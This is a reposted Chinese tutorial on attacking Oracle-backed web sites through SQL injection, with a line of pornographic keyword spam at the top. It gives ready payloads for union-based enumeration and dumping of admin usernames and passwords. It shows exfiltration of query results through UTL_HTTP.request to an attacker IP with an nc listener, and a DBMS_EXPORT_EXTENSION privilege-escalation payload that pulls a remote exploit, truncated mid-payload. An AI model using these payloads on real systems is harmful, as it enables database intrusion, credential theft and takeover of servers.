日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

oracle网站注入,oracle注入,utl_http方法

發(fā)布時(shí)間:2023/11/27 生活经验 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle网站注入,oracle注入,utl_http方法 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

大家都知道oracle比較大,11g的安裝程序大約在1.4g左右,可能大家遇到oracle的庫比較少,oracle+jsp的搭配的比較好... oracle系統(tǒng)庫默認(rèn)的用戶有sys,system,internal,scott,前三個(gè)權(quán)限都是system權(quán)限.. 先說下數(shù)據(jù)庫的注釋:access支持null和注釋; mssql支持--和;的注視;mysql支持/*的支持;oracle支持--的注視 這里也許大家說了如果mssql過濾了;注視,該怎么區(qū)別oracle和mssql數(shù)據(jù)庫呢,如果是oracle的庫,一旦出錯(cuò)的話,很多時(shí)候就會出現(xiàn)oracle.odbc等之類的存儲過程出錯(cuò)的語句,也可以通過; and user()>0來判斷mssql,從而排除oracle的庫 現(xiàn)在來說注入: 第一種方法使用dual系統(tǒng)表 一、判斷注入數(shù)字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必須是在頁面中存在的字符串) 文本型:url+返回正常 url"+asdfg返回出錯(cuò)(asdfg是隨便輸入的字符串) 二、長度判斷你可以選擇union select null,null,null.....(用null,null,null而沒有用1,2,3是為了避免類型的問題,當(dāng)確定下來后可以逐個(gè)來替換類型,oracle是不會自動匹配類型滴) order by 我感覺比較省事,我一般都是order by 三、判斷dual表是不是存在(這篇文章是針對dual表存在的情況進(jìn)行注入的,如果不存在的話,工具要是跑不來的話就是體力活了) url and exist (select * from dual) 四、進(jìn)行注入假設(shè):www.abc.com/abc.jsp?id=1存在注入,而且有7個(gè)字段而且都是整型,索引值是在2處 1.判斷oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判斷當(dāng)前連接用戶 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比較多,所以長度有要求,有些時(shí)候可能因?yàn)殚L度不夠有些表沒有顯示出來,假設(shè)上面爆出來的有admin表 4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假設(shè)是username和password) 5.爆字段內(nèi)容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 當(dāng)然也可以使用concat(),每個(gè)人的習(xí)慣不一樣罷了

第二種方法配合utl_http存儲過程 如果想檢測一下UTL_HTTP包是否存在可以使用語句" select count(*) from all_objects where object_name=UTL_HTTP "來判斷。OK既然是反回信息我們先在本地用NC監(jiān)聽,然后使用"and UTL_HTTP.request(http://IP:2009/||(查詢語句))=1--"這樣的形式。 本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回?cái)?shù)據(jù)庫的版本。現(xiàn)在我們就來一點(diǎn)一點(diǎn)的爆。先爆庫,再爆表,再爆字段(上文字段已經(jīng)把字段確定出來了是USERNAME和PASSWORD),最后爆字段值。現(xiàn)在我們就來爆庫,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假設(shè)爆出第一個(gè)庫的名字為SYS。繼續(xù)爆第二個(gè)庫名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此類推,爆出所有的庫 爆表語句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS庫中第一個(gè)表為xxx。繼續(xù)提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此類推爆出SYS庫中所有的表;如果需要爆表里有多少個(gè)列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一個(gè)列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二個(gè)列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一個(gè)爆出的列名))=1--" 以此類推就可以爆出所有的列名。現(xiàn)在我們繼續(xù)爆用戶和密碼,提交 "and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密碼提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函數(shù),我們可以通過web注射直接獲得系統(tǒng)權(quán)限,呵呵,非常誘人吧!我們先來看看這個(gè)函數(shù)的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多語句]END;--,SYS,0,1,0) 多語句里寫上我們的exploit,但是這樣會造成我們構(gòu)造的語句非常龐大,所以這里我們可以使用utl_http.request來獲取我們放在遠(yuǎn)程及其上的exploit。到這里我們的語句就構(gòu)造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交后返回該頁無法顯示。換成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)

總結(jié)

以上是生活随笔為你收集整理的oracle网站注入,oracle注入,utl_http方法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。